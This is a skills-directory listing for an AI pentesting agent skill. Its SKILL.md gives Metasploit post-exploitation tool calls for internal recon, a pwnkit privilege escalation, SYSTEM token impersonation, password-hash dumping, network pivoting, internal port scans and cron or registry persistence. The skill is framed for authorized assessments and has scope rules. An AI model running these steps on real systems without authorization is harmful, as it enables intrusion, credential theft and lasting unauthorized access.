Skip to content
Back to skills

Khaos Metasploit Post Exploitation

BSecurity

Pós-exploração com Metasploit — Meterpreter commands, privilege escalation, credential harvesting, pivot de rede e persistência. Usar após shell/Meterpreter aberto via khaos-metasploit-operations.

  • 6 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added December 5, 2026
ai-agentsshellgitapibackend

Works with

  • api

Security analysis

B75/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned December 5, 2026

npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-metasploit-post-exploitation --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Khaos Metasploit Post Exploitation?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Khaos Metasploit Post Exploitation
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/henriqqw-khaos-metasploit-post-exploitation-khaos-pentester-agent/badge)](https://www.skillsdirectory.com/skills/henriqqw-khaos-metasploit-post-exploitation-khaos-pentester-agent)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: khaos-metasploit-post-exploitation
description: Pós-exploração com Metasploit — Meterpreter commands, privilege escalation, credential harvesting, pivot de rede e persistência. Usar após shell/Meterpreter aberto via khaos-metasploit-operations.
metadata:
  khaos:
    tool_ids: []
    wordlist_ids: []
    stages: [pivot, validation, reporting]
    source_type: original
    source:
      repository: https://github.com/henriqqw/Khaos
      revision: embedded
      path: khaos-metasploit-post-exploitation/SKILL.md
      license: not-declared
      reviewed_by: Khaos maintainers
      review_note: Skill de pós-exploração para sessões MSF abertas via khaos-metasploit-operations. Cobre recon interno, privesc, pivot e evidências para findings CRITICAL.
---

# Metasploit Post-Exploitation

**Stages:** pivot / validation / reporting
**Pré-requisito:** sessão Meterpreter ativa (`khaos_msf_list_sessions` mostra status `open`)

> **Regra de escopo:** todos os comandos de pós-exploração devem ser executados em hosts que estejam no authorization plan do assessment. Pivot só é autorizado se o assessment incluir pivoting explicitamente.

---

## Recon interno (pós-exploração imediata)

```
# Info do sistema
khaos_msf_session_command { command: "sysinfo" }

# Usuário atual
khaos_msf_session_command { command: "getuid" }

# Privilégios
khaos_msf_session_command { command: "getprivs" }

# Processos em execução
khaos_msf_session_command { command: "ps" }

# Interfaces de rede (identificar targets de pivot)
khaos_msf_session_command { command: "ifconfig" }
```

---

## Privilege Escalation

### Local Exploit Suggester

```
khaos_msf_session_command {
  command: "run post/multi/recon/local_exploit_suggester"
}
```

Retorna lista de exploits locais aplicáveis. Para cada um:
```
khaos_msf_run_module {
  module_path: "exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec",
  datastore: { "SESSION": "1", "LHOST": "msfrpc", "LPORT": 4445 }
}
```

### Windows — Token impersonation

```
khaos_msf_session_command { command: "use incognito" }
khaos_msf_session_command { command: "list_tokens -u" }
khaos_msf_session_command { command: "impersonate_token 'NT AUTHORITY\\SYSTEM'" }
```

---

## Credential Harvesting

### Linux — /etc/shadow

```
khaos_msf_session_command { command: "run post/linux/gather/hashdump" }
```

### Linux — Histórico e configs

```
khaos_msf_session_command { command: "run post/linux/gather/enum_configs" }
khaos_msf_session_command { command: "run post/linux/gather/enum_users_history" }
```

### Windows — Hashdump

```
khaos_msf_session_command { command: "hashdump" }
khaos_msf_session_command { command: "run post/windows/gather/credentials/credential_collector" }
```

> **Sanitização:** o backend trunca output em 4096 bytes. Hashes nunca aparecem completos no model context (proteção intencional). Registrar o finding com evidência parcial — não é necessário o hash completo para provar credential exposure.

---

## Pivot de rede

### Configurar rota pelo host comprometido

```
khaos_msf_session_command {
  command: "run post/multi/manage/autoroute SUBNET=10.10.10.0 NETMASK=255.255.255.0"
}
```

### Port forwarding

```
khaos_msf_session_command {
  command: "portfwd add -l 8888 -p 80 -r 10.10.10.5"
}
```

Após portfwd: usar `khaos_http_request` com `url: "http://localhost:8888/..."` para acessar o host interno.

### Scan de rede interna via Meterpreter

```
khaos_msf_run_module {
  module_path: "auxiliary/scanner/portscan/tcp",
  datastore: {
    "RHOSTS": "10.10.10.0/24",
    "PORTS": "22,80,443,8080,3306,5432,6379,27017",
    "SESSION": "1"
  }
}
```

---

## Persistência (apenas se autorizado no assessment)

```
# Linux — crontab
khaos_msf_session_command { command: "run post/linux/manage/cron_persistence" }

# Windows — registro
khaos_msf_session_command { command: "run post/windows/manage/persistence_exe" }
```

> **Atenção:** persistência só deve ser executada se o authorization plan incluir `persistence: true`. Remover antes de encerrar o assessment.

---

## Findings de pós-exploração

| Evidência | Severity | CWE |
|---|---|---|
| root/SYSTEM via LPE + hashes | CRITICAL | CWE-250 |
| Credential dump sem LPE | HIGH | CWE-522 |
| Pivot para rede interna | HIGH | CWE-284 |
| Persistência instalada | HIGH | CWE-693 |
| Recon interno (configs, usuários) | MEDIUM | CWE-200 |

---

## Encerrar sessão

```
khaos_msf_session_command { command: "exit" }
```

---

## Referências

- Meterpreter Docs: docs.metasploit.com/docs/using-metasploit/basics/meterpreter-basics.html
- Post modules: github.com/rapid7/metasploit-framework/tree/master/modules/post
- Skill base: khaos-metasploit-operations

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.